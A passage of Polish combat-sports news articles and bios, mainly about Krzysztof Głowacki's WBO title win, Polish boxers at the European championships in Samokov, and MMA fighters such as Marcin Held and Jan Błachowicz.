Amerykańska telewizja jest otwarta dla Polaka i chętnie wyemituje galę z nim w roli głównej. Również z klasowymi przeciwnikami nie będzie problemu, a i finanse na pewno znacznie wzrosną. Już pojawia się kolejka chętnych, którzy chcieliby stanąć do walki z Głowackim.

Swój akces do rywalizacji z mistrzem świata WBO zgłosił legendarny Roy Jones Jr. Amerykanin jest już wiekowy – liczy czterdzieści sześć wiosen, ale nadal nie daje o sobie zapomnieć. W kolejce pojawiły się również nazwiska Steve’a Cunninghama i BJ Floresa. Na liście pojawiają się bokserzy związani z Alem Haymonem – Antonio Tarver czy Beibut Szumonow.

Przyszłość przed Głowackim rysuje się w kolorowych barwach. Z pewnością rywalizacja z Jonesem Jr nie ma większego sensu. Ciekawie zapowiadałoby się starcie z BJ Floresem, jednak ten ostatnio przegrał z Szumenowem.

Pozycja Głowackiego diametralnie zmieniła się. Teraz to Polak może przebierać w propozycjach jak w ulęgałkach. Startuje z zupełnie innej pozycji. Po walce z Huckiem jego pozycja marketingowa znacząco wzrosła. Kolejne wygrane będą tylko umacniały jego stan posiadania. Kiedy mistrz świata pojawi się w ringu? Niewykluczone, że jeszcze w tym roku. Kilka dni odpoczynku, powrót do treningów, wybór rywala i można bronić pasa. Tak w skrócie to wygląda.

KM

Krzysztof Głowacki

Polski bokser urodzony 31 lipca 1986 roku w Wałczu. Na amatorskim ringu Krzysztof Głowacki stoczył 125 walk z czego 102 wygrał, 20 przegrał i 3 zremisował. W latach 2003, 2004, 2005 zdobywał złoty medal w młodzieżowych Mistrzostwach Polski  w boksie amatorskim. W 2007 roku został wicemistrzem Polski seniorów w kategorii superciężkiej, a rok później zdobył brązowy medal. W latach 2006-2008 był zawodnikiem kadry olimpijskiej. 3 października 2008 roku Krzysztof zadebiutował na zawodowym ringu pokonując na punkty Mariusza Radziszewskiego.  7 listopada tego samego roku w swojej trzeciej walce zmierzył się z Dariuszem Ballą. Głowacki wygrał przez TKO w drugiej rundzie. 20 września 2009 roku Krzysztof Głowacki zdobył wakujący pas federacji BBU International Champion, pokonując po sześciu rundach Łukasza Rusiewicza. 20 grudnia 2009 roku w trzeciej rundzie pokonał przez TKO Josipa Jalusicia. 2 kwietnia 2011 roku Głowacki stoczył pierwszą walkę po operacji łokcia z Levanem Jomardashvilim. Po trzeciej rundzie Gruzin został poddany przez narożnik. 17 marca 2011 roku Głowacki pokonał po sześciu rundach Ismaila Abdoula. 12 sierpnia 2012 roku Krzysztof wygrał z Felipe Romero. Była to pierwsza obrona tytułu Międzynarodowego Mistrza  Polski w kategorii junior ciężkiej. Stawką pojedynku był także wakujący pas WBO Inter-Continental. 28 czerwca 2014 roku doszło do rewanżowego pojedynku z Ismailem Abdoula-em, którego Polak pokonał jednogłośnie na punkty. 31 stycznia 2015 roku na gali Wojak Boxing Night w Toruniu Polak zmierzył się  z Nurim Seferim w eliminatorze do walki o tytuł mistrza Świata Federacji WBO. Po dwunastu rundach Głowacki wygrał jednogłośnie na punkty. 14 sierpnia 2015 na gali w Prudential Center w Newark Polak pokonał Marco Hucka przez nokaut w jedenastej rundzie i zdobył pas mistrza Świata federacji WBO.  Po wygranej z Marco Huckiem w rankingu BoxRec, Polak awansował z 14 na drugie miejsce. 

Blisko medalu

Tylko troje naszych reprezentantów wystartowało w mistrzostwach świata juniorów w zapasach w Salvador de Bahia. Polacy wrócili bez zdobyczy medalowej.

Było blisko. Mimo tylko trzech startujących Polacy pokazali się z dobrej strony i w dwóch przypadkach medal był naprawdę blisko. Ostatecznie rywalizacja w wykonaniu biało-czerwonych to dwa piąte miejsca i dziesiąte.

Trójka walecznych

Sześć dni rywalizacji młodych zapaśników było znakomitą okazją do przekonania się, które kraje mają dobre zaplecze. Wśród pań najwyżej uplasowały się Japonia, Azerbejdżan i Rosja. Nieco inaczej zestawienie wyglądało w stylu klasycznym, gdzie Japonię zastąpiła Gruzja. Z kolei w stylu wolnym Gruzję zamienił Iran. Jak widać na wszystkich polach obecne są Rosja i Azerbejdżan, czyli kraje, w których ogromną uwagę przykłada się do trenowania zapasów i kładzie się nacisk na szkolenie.

W mistrzostwach świata juniorów wystartowało troje reprezentantów Polski. Dominika Szynkowska zaprezentowała się w zapasach kobiet. Dwóch naszych zapaśników rywalizowało w stylu wolnym. W kategorii 84kg wystąpił Krzysztof Sadowik oraz Kamil Kościółek w 120kg. Szynkowska rywalizowała o medal mistrzostw świata z szesnastoma innymi zapaśniczkami. Nasza zawodniczka przeszła przez kwalifikacje w kategorii wagowej 48kg, jednak jej udział w zawodach zakończył się na 1/8 finału. Polka przegrała pojedynek Cody Pfan. Amerykanka zakończyła rywalizację na piątym miejscu, gdyż w walce o brązowy medal uległa Rosjance Milanie Dadashevie. Najlepsza wśród pań w kategorii  48kg okazała się Japonka Miho Igarashi.

Walki o brąz

Dwie szanse medalowe naszych zapaśników w stylu wolnym i obie niewykorzystane. Zapach medalu unosił się w powietrzu, jednak przeszedł bokiem i trafił do innych zawodników. W kategorii 84kg rywalizowało dwudziestu jeden zapaśników, w tym Krzysztof Sadowik. Na występy naszych zawodników trzeba było czekać aż do trzeciego dnia mistrzostw, jednak w obu przypadkach było warto. Zwłaszcza Sadowik imponował dyspozycją i wydawało się, że pewnie zmierza po medal. W 1/8 finału Polak uporał się z reprezentantem Mongolii Gambatem Bigarmijidem. Kolejnym przeciwnikiem Sadowika był Michael Eugene Gaitskill, jednak w tym przypadku nasz zapaśnik nie miał większych problemów i zdecydowanie wygrał. Półfinał to rywalizacja z Dzianisem Khramiankou. Sadowik starał się, ale Białorusin okazał się przeszkodą nie do przejścia. Również pojedynek o brązowy medal nie ułożył się po myśli polskiego zapaśnika.

Nieco inną drogę przeszedł Kamil Kościółek w kategorii 120kg, gdzie wystąpiło czternastu zawodników. Węgier Mihaly Nagy nie sprawił Polakowi trudności, jednak schody zaczęły się w kolejne walce. Said Gaminov w ćwierćfinale rozbił Kościółka, a w ostatecznym rozrachunku zapaśnik z Azerbejdżanu sięgnął po mistrzostwo świata. Z kolei Polakowi pozostała walka w repasażach, gdzie pokonał Meksykanina Maximiliano Betanzo. W pojedynku o brąz czekał już Nathan Butler. Niestety. Polak musiał zadowolić się piątym miejscem.

KM

Szansa Helda

Marcin Held jeszcze w tym roku może być mistrzem wagi lekkiej organizacji Bellator. Polski fighter musi wygrać tylko jedną walkę.

Kariera 23-letniego zawodnika rozwija się błyskawicznie. Już w listopadzie pochodzący z Tych Held stanie przed życiową szansą. Może zostać mistrzem czołowej organizacji mieszanych sztuk walki na świecie.

Lekki mistrz?

To, że Held ma ogromny talent wiadomo nie od dziś. Już w wieku dziewiętnastu lat zadebiutował w Bellator Fighting Championship, jednak był to zimny prysznic dla Polaka. Held przegrał z Michaelem Chandlerem przez poddanie. Nieważne jak się zaczyna, ale jak się kończy. Held na każdym kroku doskonalił swoją technikę i udowodnił, że jest nieprzeciętnym grapplerem.

W 2013 roku Polak był o krok od triumfu w turnieju Bellatora wagi lekkiej. Lepszy decyzją sędziów okazał się Dave Jansen. Rok później Held pokazał, że wyciągnął wnioski z porażki i okazał się najlepszy w turnieju zawodników do 70kg. Patricky Freire musiał uznać wyższość polskiego fightera. 6 listopada w St. Louis Held stanie przed najważniejszym i zarazem najtrudniejszym wyzwaniem w swojej karierze. 23-latek zmierzy się z Willem Brooksem. Mistrz Bellatora wagi lekkiej, jak na czempiona przystało, nie zwykł przegrywać. 29-latek poległ tylko raz. W lutym 2013 roku podczas gali Bellator 91 metodę na Amerykanina znalazł Saad Awad. Popularny „Assassin” ruszył na Brooksa i serią ciosów zakończył walkę już po czterdziestu trzech sekundach.

Jednak teraz 29-letni Amerykanin pozostaje niepokonany od siedmiu pojedynków. W październiku 2013 roku doszło do rewanżu z Awadem, w którym Brooks odniósł triumf. Co ciekawe, ostatnią walkę Amerykanin stoczył w kwietniu z Davem Jansenem, czyli jednym z pogromców Helda. Po piętnastu minutach walki sędziowie punktowali na korzyść Brooksa. Wcześniej dwukrotnie mistrz wagi lekkiej uporał się Michaelem Chandlerem, z którym nie potrafił poradzić sobie Polak.

Można porównywać

Oczywiście nie pod względem doświadczenia i dokonań, bo na tym polu niepodzielnie rządzi Brooks. Mistrz Bellatora wagi lekkiej plasuje się w czołowych dziesiątkach zestawień sherdoga i fightmatrix, gdzie jest jedynym zawodnikiem spoza UFC.

Brooks to wyzwanie dla Helda. Polak imponuje znakomitym bilansem. Mimo młodego wieku stoczył już w MMA dwadzieścia cztery pojedynki, z których dwadzieścia jeden wygrał. Held w ponad pięćdziesięciu procentach przypadków zmusza swoich rywali do poddania. Ostatnim, który musiał odklepać był Alexandr Sarnavskiy. Do starcia doszło na kwietniowej gali Bellator 136, gdzie Brooks wypunktował Jansena. Co ciekawe, Amerykanin dwa lata temu zmierzył się z ostatnim rywalem Helda. Mistrz wagi lekkiej po trzech rundach okazał się lepszy od Rosjnina.

6 listopada w St. Louis Held stanie przed życiową szansą. Wygrana da mu tytuł króla Bellatora. Held może być drugim, obok Joanny Jędrzejczyk, mistrzem zagranicznej organizacji MMA.

KM

Srebrne ciosy

Udało się przełamać złą passę. Nasi bokserzy po siedmiu latach posuchy wywalczyli medal na mistrzostwach Europy. Dorobek naszej reprezentacji to dwa srebrne medale.

W Samokovie na podium stanęli Tomasz Jagodziński w kategorii 75kg i Igor Jakubowski w 91kg. Blisko medalu byli również Mateusz Tryc w 81kg oraz Dawid Jagodziński w 49kg.

Krok do złota

Tomasz Jabłoński wygrał cztery pojedynki, co umożliwiło mu udział w finale. Początek zmagań w mistrzostwach Europy to wygrana Polaka z Dmytro Tretyakiem przez dyskwalifikację Rosjanina, który uciekał się do nieczystych zagrań. Kolejne pojedynki z udziałem Jabłońskiego były zacięte i za każdym razem sędziowie podejmowali niejednogłośne decyzje. We wszystkich przypadkach lepszy był Polak, który potrafił w odpowiednim momencie zaznaczyć swoją przewagę. Jabłoński kolejno odprawił Leona Chartoi, Maxa van Der Pas i Salvatore Cavallaro. W finale rywalem polskiego pięściarza był Petr Khamukov. Rosjanin po drodze wygrywał wyraźnie. Wszystkie pojedynki zakończyły się na jego korzyść w stosunku 3:0.

Jabłoński od początku walki ruszył na swojego rywala i po serii ciosów starał się boksować w półdystansie. W niekorzystnych momentach Rosjanin klinczował, ale umiejętnie wyprowadzał krótkie ciosy. Druga odsłona zaczęła się podobnie do pierwszej, jednak Polak nie był już tak skuteczny. Khamukov wyprowadzał więcej ciosów, które dochodziły do celu i zdominował rywalizację w drugiej rundzie. W trzeciej części obu bokserom brakowało już sił. Nie szturmowali, lecz byli ostrożni i szukali swojej szansy. Sędziowie jednogłośnie orzekli zwycięstwo Khamukova, który został mistrzem Europy. Jabłoński zdobył srebrny medal, a zarazem wywalczył kwalifikację na mistrzostwa świata w Doha.

O pechu może mówić Igor Jakubowski. Srebrny medal mistrzostw Europy to ogromny sukces polskiego boksera, jednak z pewnością pozostaje żal, że zawodnik z Konina nie mógł wystąpić w finale. Jakubowski przegrał przez walkower. Polski pięściarz nie mógł wystąpić w finale kategorii 91kg z powodu kontuzji. Mistrzem Europy został Evgeny Tishchenko z Rosjii. Polak w całym turnieju odniósł trzy zwycięstwa. Dzięki sukcesowi w Samokovie uzyskał kwalifikację na mistrzostwa świata.

Nie udało się

W strefie medalowej znalazło się czterech Polaków, jednak tylko dwóm udało się stanąć na podium. Zatem skuteczność naszych zawodników wyniosła pięćdziesiąt procent.

Mateusz Tryc w kategorii 81kg imponował walecznością i zaciętością. Polak walczył całym sercem. W ćwierćfinale rywalem Tryca był Joshua Buatsi. Rywalizacja imponująca, obfitująca w dużą liczbę ciosów. Pięściarze musieli wykazać się wytrzymałością, wytrwałością i odpornością. Początek należał do Tryca, jednak to Brytyjczyk lepiej kondycyjnie zniósł tempo pojedynku. Polak zakończył udział w mistrzostwach na ćwierćfinale.

Ciekawy był przypadek Dawida Jagodzińskiego. Dobre losowanie sprawiło, że Polak znalazł się w ćwierćfinale kategorii 49kg. Jagodziński stoczył w Samokovie zaledwie jeden pojedynek. Harvey Horn okazał się lepszy od polskiego boksera, jednak ten ma zapewniony udział w mistrzostwach świata w Doha.

KM 

Nokaut na wagę mistrzostwa świata

Korki od szampanów jeszcze strzelają! Krzysztof Głowacki wywalczył mistrzostwo świata WBO wagi junior ciężkiej. Polak w jedenastej rundzie posłał na deski Marco Hucka.

Polska czekała na mistrza świata w boksie zawodowym po tym jak we wrześniu ubiegłego roku Krzysztof ”Diablo” Włodarczyk stracił pas WBC wagi junior ciężkiej. Minął prawie rok i najlepszy na świecie jest inny Krzysztof. Głowacki rozmontował Marco Hucka.

Potężny szok

Hala Prudential Center w Newark okazała się szczęśliwa dla polskiego boksera. Urodzony w Serbii Marco Huck był w posiadaniu mistrzowskiego pasa WBO od 2009 roku. W pojedynku z Głowackim bronił tytułu po raz czternasty. Niemiec był faworytem starcia z Polakiem i przed pojedynkiem lekceważył swojego rywala, który w ringu postanowił dać mu nauczkę.

Od początku walki widzowie mogli przecierać oczy ze zdumienia, a Huck mógł się czuć jak piłkarze pod zamkniętym dachem Stadionu Narodowego w meczu otwarcia Euro 2012. Niemiec był lekko śnięty, nieobecny, wycofany. W ringu, a niby poza nim. A Głowacki robił swoje. Postanowił ruszyć na Hucka i pokazać mu, że pas mistrzowski będzie miał nowego właściciela. Już pod koniec pierwszej rundy po ciosie na korpus czempion zachwiał się. Huck chował się za gardą. Polak był konsekwentny i szturmował swojego rywala. Huck chował głowę, a Głowacki mądrze obijał jego korpus.

Najprościej można powiedzieć, że Huck był sztywny. Przypomina się tekst Bolca z filmu „Chłopaki nie płaczą”, w którym to mówił, że „naszym chłopakom brakuje luzu”. Temu chłopakowi wyraźnie brakowało. Głowacki w trzeciej rundzie konsekwentnie obijał swojego rywala. Polak prowadził pojedynek i w czwartej rundzie przeważał, ale Huck powoli przebudzał się. W piątej odsłonie Niemiec zadawał liczne ciosy, jednak Głowacki dobrze się bronił. Nad głową Polaka zawisły czarne chmury. W szóstej rundzie wydarzyło się coś, co kilka minut wcześniej wydawało się niemożliwe. Mocnym lewym sierpowy Huck posłał Głowackiego na deski, jednak ten szybko wstał. Polak nie schował się, lecz atakował rywala, co okazało się dobrym posunięciem. Jednak cios Niemca nakazał Głowackiemu ostrożność, który w siódmym starciu trochę wycofał się, jednak już w kolejnej rundzie dyktował warunki. Huck był aktywny i dążył do odrabiania strat. Dziewiąta runda obfitowała w ostrożność. Huck i Głowacki nie chcieli podejmować ryzyka, ale urodzony w Serbii bokser zdecydował się na swego rodzaju prowokację. Huck po gongu uderzył polskiego boksera głową i rozciął mu łuk brwiowy.

Polak w koronie

Huck źle zaczął, w piątej rundzie wrócił do gry, w szóstej był o krok od triumfu, ale Głowacki był twardy i nieustępliwy. Jednak w dziesiątej odsłonie Polak po raz kolejny znalazł się w tarapatach. Huck zadawał dużą liczbę ciosów, które docierały do celu. W końcu Polak wypluł szczękę i udało mu się przetrzymać napór rywala.

Jedenastą odsłonę lepiej otworzył Głowacki. Huck wyczekiwał, ale to Polak przyspieszył i seria mocnych ciosów na głowę Niemca sprawiła, że ten padł na deski. Mistrz wstał, ale był półprzytomny. Głowacki takiej szansy nie mógł zmarnować. Polak przeprowadził skuteczny atak i Huck padł po raz kolejny. Tym razem nie był w stanie już wstać. Krzysztof Głowacki został nowym mistrzem świata WBO wagi junior ciężkiej.

Co ciekawe, wedle punktacji sędziowskiej zwycięstwo było po stronie Hucka. Głowacki ciężką pracą i konsekwencją sięgnął po mistrzowski pas.

KM

Zwycięstwo i porażka

Jeden z naszych reprezentantów przegrał swoją walkę w 1/8 finału mistrzostw Europy w boksie w bułgarskim Samokowie.

Dawid Michelus w kategorii 60kg musiał pożegnać się z turniejem. Pogromcą polskiego pięściarza okazał się  Joseph Cordina. Swoją walkę wygrał Mateusz Tryc w kategorii 81kg.

Szkoda Michelusa

Joseph Cordina wykorzystał przewagę warunków fizycznych nad polskim pięściarzem. Był wyższy od Michelusa, co przełożyło się na obraz walki. Warto zaznaczyć, że Polak pokazał się z dobrej strony i wyglądał lepiej niż w pierwszym starciu w mistrzostwach Europy. Jednak nie udało się.

Cordina wykorzystał swój zasięg ramion i w pierwszej odsłonie rywalizacji przeważał. Nie było wątpliwości, że ta runda zostanie zapisana na konto przeciwnika Michelusa. W drugiej rundzie walka była zacięta. Zarówno Polak jak i Brytyjczyk wyprowadzili podobną liczbę ciosów. Obaj byli aktywni i jednoznacznie trudno ocenić, komu należało przyznać zwycięstwo w drugiej odsłonie. Michelus miał świadomość, że aby wygrać musi dać z siebie jeszcze więcej. Polak do trzeciej rundy przystąpił zdeterminowany i ruszył na rywala. Był lepszy, aktywniejszy i co najważniejsze – skuteczny. Jednak w przekroju całego pojedynku sędziowie uznali, że zwycięstwo należy się Brytyjczykowi. Sędziowie punktowali trzy razy 29:28 na korzyść Cordiny. Michelus kończy swoją przygodę z mistrzostwami Europy.

Trudna wygrana

Do ćwierćfinału awansował Mateusz Tryc. Polak stanął przed ciężkim wyzwaniem w rywalizacji z Matajem Strnisko. Mocniej pojedynek rozpoczął Polak, który ruszył do przodu i trafiał ciosami na dół. W pierwszej rundzie obaj otrzymali ostrzeżenie za przetrzymywanie. Strnisko rozkręcał się powoli, ale przeważał Tryc. Słowak serwował mocne ciosy. Był uważny i z każdą kolejną sekundą wypatrywał swojej szansy na zaskoczenie rywala. Dokładnie przygotowana taktyka miała być źródłem sukcesu i obaj pięściarze starali realizować się swój plan. Decydująca miała być trzecia runda. Tryc postawił na ofensywę i sypał ciosami w stronę Słowaka, ale zapomniał o defensywie, w której miał problemy. Polak odrzucił wszelkie kalkulacje i za wszelką cenę chciał zdominować rywala. Okazało się, że w tym szaleństwie była metoda. Strnisko dwukrotnie uderzył Polaka głową, za co otrzymał ostrzeżenie. Kolejne uderzenie równało się już dyskwalifikacji. Tryc mógł cieszyć się z triumfu i awansu do ćwierćfinału.

Tylko jedna wygrana i czterech naszych pięściarzy będzie mogło rywalizować o medale. Oprócz Tryca w ćwierćfinale są już: Dawid Jagodziński (49kg), Tomasz Jabłoński (75kg) oraz Igor Jakubowski (91kg). Wydaje się, że medal jest realny i potrzebny. Na Igrzyskach Europejskich na podium stanął Mateusz Polski, a na mistrzostwach Europy od siedmiu lat posucha. Trzeba przełamać złą passę. Warto przypomnieć, że mistrzostwa Europy są zarazem kwalifikacją do mistrzostw świata w Dausze.

KM

Anulowana wygrana Polaka

Wszystko jest możliwe. Sędzia wskazał Macieja Browarskiego jako zwycięzcę pojedynku z Alessio Sakarą podczas gali Final Fight Championship w Wiedniu. Minęło dziewięć miesięcy i okazuje się, że pojedynek uznano za nierozstrzygnięty.

Cała sytuacja jest bardzo zastanawiająca i niepokojąca. Przede wszystkim prezentuje brak profesjonalizmu ze strony organizatorów gali.

Zwycięstwo, którego nie było

Takie sytuacje po prostu nie powinny mieć miejsca. Skoro walka odbyła się i werdykt sędziowski wskazał jednego z uczestników jako zwycięzcę, jest to niezaprzeczalny fakt, którego nie powinno się podważać. Oczywiście jest pewien wyjątek. Chodzi o  stosowanie niedozwolonych środków, jednak w tym przypadku o takiej możliwości nie ma mowy.

W grudniu 2014 roku Maciej Browarski w Wiedniu zmierzył się z Alessio Sakarą. Popularny „Legionarius” to doświadczony fighter, który już w 2005 roku pojawił się w UFC. Włoch stoczył dla najlepszej organizacji mieszanych sztuk walki na świecie piętnaście walk, co doskonale definiuje jego potencjał. UFC nie daje szansy byle komu, a na pewno nie w tak dużej ilości pojedynków. Fakt, że od  2011 roku Sakara notował same porażki, ale zaznaczył swoją obecność na amerykańskich arenach.

Browarski stanął więc przez trudnym zadaniem. Jednak w Wiedniu walczył ambitnie i sędzia ogłosił go zwycięzcą. Jego rywal doznał kontuzji, co uniemożliwiło mu kontynuowanie walki. Wygrana dla polskiego fightera mogłaby być ważnym krokiem w jego zawodowej karierze w MMA. Po raz kolejny Browarski zanotował dobry występ na gali organizacji Final Fight Championship, gdyż w 2013 roku okazał się lepszy od Jasona Jonesa. Minęło kilka miesięcy i obraz uległ zmianie.

Niewyobrażalne

Organizatorzy postanowili zmienić werdykt pojedynku. Pierwotnie mówiło się o możliwości rewanżowego starcia między Browarskim, a Sakarą. Ostatecznie włodarze FFC znaleźli inne rozwiązanie. Uznali, że walka się nie odbyła.

Trudno zrozumieć tę decyzję. Dodatkowo Maciej Browarski o zmianie statusu pojedynku nie został poinformowany. Cała sytuacja najlepiej świadczy o poziomie profesjonalizmu organizatorów gali i ich szacunku do zawodnika. Bez wątpienia jest to skandal, który nie powinien mieć miejsca. W trakcie pojedynku decydentem jest sędzia i nic tego nie może zmienić. Chyba, że uczestnik dopuścił się przewinienia bądź wykroczenia. Browarski walczył z Sakarą i w wyniku pojedynku Włoch doznał kontuzji, która nie pozwalała mu na kontynuowanie pojedynku, jednak rozjemca ringowy uznał, że zwycięstwo Browarskiemu się należy. Minęło kilka miesięcy i sprawa wraca na afisz. Jak to możliwe? Dlaczego po takim czasie zdecydowano się na taki krok? To po prostu niedorzeczne.

Maciej Browarski swój ostatni pojedynek stoczył w marcu podczas gali FEN6, kiedy przegrał z Marcinem Zontkiem. Sakara od pojedynku z Polakiem na pojawił się na arenie walki.

KM

Jakubowski w drodze po medal

Igor Jakubowski w kategorii 91kg wygrał ćwierćfinałową walkę podczas mistrzostw Europy w boksie w Samokowie i jest na najlepszej drodze, aby stanąć na podium.

Wyższość polskiego boksera musiał uznać Christian Demaj. Swój pojedynek wygrał również Tomasz Jabłoński. Na ćwierćfinałowe walki czekają Dawid Michelus (60kg) oraz Mateusz Tryc (81kg).

Pewne zwycięstwa

Igor Jakubowski był lepszy od swojego rywala pod każdym względem, co dostrzegli sędziowie. Polak nie dał najmniejszych szans Albańczykowi. Jakubowski na przestrzeni trzech rund kontrolował przebieg pojedynku i zadawał celne ciosy. Większa skuteczność przerodziła się na oceny sędziowskie. Zwycięstwo Jakubowskiego ani przez chwilę nie podlegało dyskusji. Wszyscy trzej sędziowie byli zgodni i punktowali 30:25 na korzyść zawodnika Zagłębia Konin.

Do ćwierćfinału mistrzostw Europy awansował również Tomasz Jabłoński w kategorii 75kg. Leon Chartoi ze Szwecji był wymagającym rywalem i pojedynek stał na wysokim poziomie. Walka rozpoczęła się od mocnego uderzenia. Obaj pięściarze nie oszczędzali się i wyprowadzali dużą liczbę ciosów. Jabłoński wystrzelił kombinacją lewy-prawy, czym zrobił wrażenie na Szwedzie, ale zawodnik ze Skandynawii nie zamierzał pozostawać bierny. Atakował Polaka i to niezwykle agresywnie. Sędzia ringowy musiał dwukrotnie go upominać za atak głową. Początek drugiej rundy nieco spokojniejszy. Bokserzy dążyli do klinczu. Być może narzucili zbyt wysokie tempo i chwilę musieli odetchnąć, ale szybko wrócili na właściwe tory. Jabłoński lewym prostym zaznaczył swój potencjał. Również Chartoi pokazał, że jest mocnym zawodnikiem i lewym sierpowym celnie trafił Polaka. Obaj dobrze się prezentowali i trudno było ocenić, kto zasługuje na zwycięstwo. Na szczęście była jeszcze trzecia runda. Znakomite tempo pojedynku, duża liczba ciosów. W trzeciej rundzie Jabłoński ruszył na rywala i chciał udowodnić swoją wyższość. Chartoi był znakomicie przygotowany kondycyjnie do pojedynku i przyzwoicie radził sobie w obronie. Wraz z ostatnim gongiem przyszedł czas na rozstrzygnięcie. Sędziowie stanęli przed nie lada wyzwaniem. Decyzja była niejednogłośna, jednak pozytywna dla Jabłońskiego. Sędziowie punktowali 30:27, 29:28 i 27:30.

Medal na wyciągnięcie ręki

I to w trzech przypadkach. Wystarczy, że nasi bokserzy wygrają po jeszcze jednej walce  i już będą w strefie medalowej.

W dobrej sytuacji jest Tomasz Jagodziński w kategorii 49kg, który na podstawie losowania jest już w pierwszej ósemce. O ćwierćfinał Polak zmierzy się z Harveyem Hornem. Roman Fres będzie rywalem Igora Jakubowskiego, z kolei Tomasz Jabłoński stanie naprzeciw Maksa van der Pasa.

Wszystko jest na najlepszej drodze, aby nasi pięściarze w końcu sięgnęli po medal mistrzostw Europy. Ostatni medal podczas europejskiego czempionatu Polska wywalczyła w 2008 roku za sprawą Marcina Łęgowskiego.

KM 

Wanderlei Silva

Brazylijski zawodnik MMA urodzony 3 lipca 1976 roku w Kurytybie. Przygodę ze sportami walki rozpoczął od Muay Thai, które zaczął trenować w wieku 13 lat w akademii Chute Box.  Swoją pierwszą profesjonalną walkę na zasadach Vale Tudo stoczył w listopadzie 1996 roku na gali BVF 6, na której znokautował Dilsona Filho.  W latach 1997-1999 Silva walczył dla Brazylijskiej organizacji International Vale Tudo Championship, wygrywając pięć z sześciu walk. Wszystkie przed czasem. W kwietniu 1999 roku został mistrzem IVC w wadze półciężkiej. W październiku 1998 roku zadebiutował w UFC podczas pierwszej gali tej organizacji organizowanej w Brazylii. W debiucie starł się z innym młodym zawodnikiem Vitorem Belfortem.  Silva przegrał ten pojedynek przez TKO. Rok później na gali UFC 20 znokautował Tony’ego Petarrę. Swoją trzecią walkę w UFC stoczył w 2000 roku o wakujący pas po Kenie Shamrocku. Walczył z Tito Ortizem, po pięciu wyrównanych rundach przegrał na punkty.  We wrześniu 1999 roku zadebiutował na ringu japońskiej federacji PRIDE FC. W latach 1999-2004 wygrał w PRIDE 18 kolejnych walk, nie licząc remisu z Mirko Filipoviciem i no-contest z Gilbertem Yvelem. Na gali PRIDE 13 w marcu 2001 walczył z gwiazdą Japońskiego MMA  Kazushim Sakurabą. Brazylijczyk efektownie wygrał przez TKO. Obaj zawodnicy spotkali się ponownie pół roku później na gali PRIDE 17 w walce o nowo wprowadzony pas mistrzowski PRIDE FC w wadze średniej. Ponownie wygrał Silva. W latach 2001-2004 zdominował rywalizację w swojej kategorii wagowej, pokonując m.in. Hidehiko Yoshidę, po raz trzeci Sakurabę oraz Quintona Jacksona w finale turnieju 2003 Pride Middleweight  Grand Prix.  W październiku 2004 roku stoczył rewanżową walkę z Jacksonem, której stawką był pas mistrzowski.  Walka przeszła do historii jako jedna z najlepszych i najbardziej zaciętych konfrontacji na ringach PRIDE FC. Silva znokautował Amerykanina w drugiej rundzie po pięciu ciosach kolanem w klinczu. Na gali Shockvawe 2004 Silva walczył z cięższym o 30 kg Markiem Huntem mistrzem K-1 z 2001 roku. Mimo iż Silva dominował w 3 rundzie, sędziowie przyznali wygraną Huntowi. Dla Brazylijczyka była to pierwsza porażka od ponad 4 lat, a także pierwsza przegrana w PRIDE.  W 2005 roku wystartował w turnieju 2005 Pride Middleweight Grand Prix, odpadł w półfinale z Ricardo Aroną. Następnie wygrał z nim w rewanżu na gali Shockvawe 2005. W 2006 roku stanął do walki z najlepszymi zawodnikami wagi ciężkiej w turnieju Open Weight Grand Prix. Po wygranej z Kazuyukim Fujitą, starł się po raz drugi z Mirko Filipoviciem. Tym razem Chorwat znokautował go lewym kopnięciem okrężnym na głowę.  W marcu 2007 roku Silva zmierzył się w Las Vegas z mistrzem Pride Danem Hendersonem. Stawką był pas wagi średniej należący do Silvy. W trzeciej rundzie Henderson znokautował Silve i odebrał mu pas, który dzierżył przez ponad 5 lat. Latem 2007 roku podpisał kontrakt z UFC, dzięki czemu doszło do długo wyczekiwanej walki z Chuckiem Liddellem. Brazylijczyk przegrał po trzech zaciętych rundach przez decyzję sędziów. Następnie Silva walczył na UFC 84, gdzie pokonał Keitha Jardine’a przez nokaut w 36 sekundzie pierwszej rundy. Na UFC 92 doszło do trzeciego starcia z Jacksonem. Tym razem wygrał Amerykanin. W czerwcu 2009 roku Silva przegrał przez decyzję z Richem Franklinem. Po tej walce przeszedł do wagi średniej. W lutym 2010 roku pokonał Michaela Bispinga przez jednogłośną decyzję. W lipcu 2011 roku na UFC 132 został znokautowany przez Chrisa Lebena.  19 listopada 2011 pokonał Cunga Le. 23 czerwca 2012 roku miał stoczyć rewanżowy pojedynek z Vitorem Belfortem, jednak z powodu złamania kości śródręcza Belfort wycofał się z pojedynku. Zastąpił go Rich Franklin, który przegrał na punkty. 3 marca 2013 roku pokonał Briana Stanna.

Przetarcie Błachowicza

Miała być walka marzeń, jednak Jan Błachowicz musi poczekać na wielki pojedynek. W Las Vegas mówiąc najprościej musi wykonać „dobrą robotę”, aby udowodnić, że zasługuje na rywalizację z Anthony’m Johnsonem.

Trudno jednoznacznie obecnie ocenić miejsce „Johna” w UFC. Debiut miał znakomity, jednak podczas walki w Krakowie z Jimim Manuwą nie potwierdził swoich możliwość. I nagle w kontekście rywala Błachowicza pada nazwisko Johnsona. Początkowo niedowierzanie, a potem wielkie nadzieje, że Polak staje przed ogromną szansą.

Czar prysł

Jedno zaskoczenie goni drugie w przypadku Jana Błachowicza. Tak naprawdę nie dostał szansy na rywalizację z Johnsonem. Z dnia na dzień Polaka poinformowano, że do jego pojedynku z Amerykaninem jednak nie dojdzie. Rywalem zawodnika numer jeden w kategorii półciężkiej będzie niedawny pogromca Błachowicza Jimi Manuwa.

Czy taki obrót spraw będzie korzystny dla polskiego fightera? – Moim zdaniem " co się odwlecze to nie uciecze" . Wiadomo, że to nic dobrego jak zmieniają zawodnikowi przeciwnika, jednak w tej sytuacji Janek będzie mógł "przetrzeć się " na dużo słabszym od Anthony Johnsona zawodniku. Poza tym jak mówi sam Janek zrekompensowano mu zmianę pod względem finansowym, co oczywiście także nie jest bez znaczenia – ocenia redaktor naczelny portalu gripnews.pl Grzegorz Mandzyn.

W każdej sytuacji trzeba dopatrywać się dobrych stron i nadziei na przyszłość. Niewykluczone, że Błachowicza nie ominie starcie z Amerykaninem, ale będzie do niego lepiej przygotowany i co najważniejsze bardziej obyty w UFC. – Jeśli wszystko pójdzie dobrze, Janek pewnie w niedługim czasie będzie mógł zmierzyć się z Anthonym, mocniejszy o pojedynki z kolejnymi zawodnikami UFC – zauważa Mandzyn.

Wrześniowy bój

